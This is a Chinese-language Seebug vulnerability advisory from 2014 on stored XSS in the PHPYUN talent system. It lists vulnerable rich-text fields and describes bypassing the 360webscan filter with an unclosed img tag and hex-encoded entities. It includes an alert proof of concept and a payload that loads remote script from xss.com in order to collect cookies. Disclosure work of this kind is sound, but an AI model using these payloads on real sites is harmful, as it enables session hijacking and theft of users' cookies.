PHPYUN云人才系统多处存储型XSS打包

2014-05-13T00:00:00
ID SSV:93981
Type seebug
Reporter Root
Modified 2014-05-13T00:00:00

Description

简要描述:

梦见一个getshell,但因为该死的过滤没绕过。。发xss吧。。。 多处打包,还不走大厂商吗?

详细说明:

phpyun云人才系统处理富文本时,只在客户端进行过滤,服务端没有进行过滤,导致多个富文本编辑框产生XSS。 说一下各个位置。 01.企业用户资料处:member/index.php?C=info 02.企业用户发布招聘信息处:member/index.php?C=jobadd 03.问答系统提问处:ask/index.php?C=addquestion 04.朋友圈发表状态:friend/index.php 05.在线粘贴简历处:member/index.php?C=expectq&add=7 这里提一些点。 首先,要绕过360webscan的防御正则,这个好说,只要<img标签不闭合即可。 还要绕过一些关键词检查,用16进制的html字符实体替换原字符即可。

漏洞证明:

就拿在线粘贴简历的地方做示范吧。

<img src="https://images.seebug.org/upload/201405/13010819fce50f4a7ca609315835910d99dbd6be.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">

里面有一个富文本编辑框:

<img src="https://images.seebug.org/upload/201405/1301093737f32af0562b4e30cc3fd6c7d7dbcd31.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">

我随便输点东西,然后抓包,修改doc为我的payload:

&lt;img src="#" onerror="&#x61;lert(/xss/)"

<img src="https://images.seebug.org/upload/201405/1301114356e8fed268ad8ef82dbdb74449d63680.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">

然后提交。一份有xss的简历就生成好了:

<img src="https://images.seebug.org/upload/201405/13011249f9ad9186bb28607e2d50760b7d4bb2ca.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">

给一个加载远程js的exp:

&lt;img src="#" onerror="$.get&#x53;cript(&#x27;&#x2f;&#x2f;xss.com&#x2f;9WfKui&#x27;)"

可收到cookie:

<img src="https://images.seebug.org/upload/201405/1301260155f9fc64199f8c33eeb3326b468a326b.jpg" alt="09.jpg" width="600" onerror="javascript:errimg(this);">